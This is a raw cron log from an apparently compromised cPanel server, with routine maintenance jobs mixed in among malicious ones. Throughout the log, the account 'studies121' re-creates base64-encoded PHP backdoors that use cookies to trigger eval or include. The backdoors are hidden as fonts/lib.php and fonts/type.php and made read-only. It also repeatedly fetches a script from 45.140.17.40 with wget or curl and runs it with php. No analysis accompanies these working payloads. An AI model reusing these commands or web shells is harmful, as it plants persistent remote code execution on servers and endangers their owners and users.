Sep  9 01:09:01 ip-184-168-122-23 CROND[18994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:10:01 ip-184-168-122-23 CROND[19079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:10:01 ip-184-168-122-23 CROND[19082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:10:01 ip-184-168-122-23 CROND[19083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:10:01 ip-184-168-122-23 CROND[19085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:10:01 ip-184-168-122-23 CROND[19087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:10:01 ip-184-168-122-23 CROND[19090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:10:01 ip-184-168-122-23 CROND[19091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:10:01 ip-184-168-122-23 CROND[19092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:11:01 ip-184-168-122-23 CROND[19177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:11:01 ip-184-168-122-23 CROND[19179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:11:01 ip-184-168-122-23 CROND[19182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:11:01 ip-184-168-122-23 CROND[19183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:12:01 ip-184-168-122-23 CROND[19254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:12:01 ip-184-168-122-23 CROND[19257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:12:01 ip-184-168-122-23 CROND[19258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:12:01 ip-184-168-122-23 CROND[19259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:12:01 ip-184-168-122-23 CROND[19256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:13:01 ip-184-168-122-23 CROND[19341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:13:01 ip-184-168-122-23 CROND[19339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:13:01 ip-184-168-122-23 CROND[19340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:13:01 ip-184-168-122-23 CROND[19342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:14:01 ip-184-168-122-23 CROND[19422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:14:01 ip-184-168-122-23 CROND[19424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:14:01 ip-184-168-122-23 CROND[19426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:14:01 ip-184-168-122-23 CROND[19425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:14:01 ip-184-168-122-23 CROND[19428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:15:01 ip-184-168-122-23 CROND[19597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:15:01 ip-184-168-122-23 CROND[19599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:15:01 ip-184-168-122-23 CROND[19600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:15:01 ip-184-168-122-23 CROND[19601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:15:01 ip-184-168-122-23 CROND[19603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:15:01 ip-184-168-122-23 CROND[19602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:16:01 ip-184-168-122-23 CROND[19686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:16:01 ip-184-168-122-23 CROND[19688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 01:16:01 ip-184-168-122-23 CROND[19690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:16:01 ip-184-168-122-23 CROND[19691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:16:01 ip-184-168-122-23 CROND[19689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:16:01 ip-184-168-122-23 CROND[19692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:17:01 ip-184-168-122-23 CROND[19777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:17:01 ip-184-168-122-23 CROND[19779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:17:01 ip-184-168-122-23 CROND[19778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:17:01 ip-184-168-122-23 CROND[19780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:18:01 ip-184-168-122-23 CROND[19855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:18:01 ip-184-168-122-23 CROND[19857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:18:01 ip-184-168-122-23 CROND[19862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:18:01 ip-184-168-122-23 CROND[19861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:18:01 ip-184-168-122-23 CROND[19859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:19:02 ip-184-168-122-23 CROND[19941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:19:02 ip-184-168-122-23 CROND[19940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:19:02 ip-184-168-122-23 CROND[19942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:19:02 ip-184-168-122-23 CROND[19944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:20:01 ip-184-168-122-23 CROND[20027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:20:02 ip-184-168-122-23 CROND[20032]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:20:02 ip-184-168-122-23 CROND[20033]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 01:20:02 ip-184-168-122-23 CROND[20034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:20:02 ip-184-168-122-23 CROND[20036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:20:02 ip-184-168-122-23 CROND[20029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:20:02 ip-184-168-122-23 CROND[20030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:20:02 ip-184-168-122-23 CROND[20035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:20:02 ip-184-168-122-23 CROND[20031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:21:01 ip-184-168-122-23 CROND[20137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:21:01 ip-184-168-122-23 CROND[20140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:21:01 ip-184-168-122-23 CROND[20142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
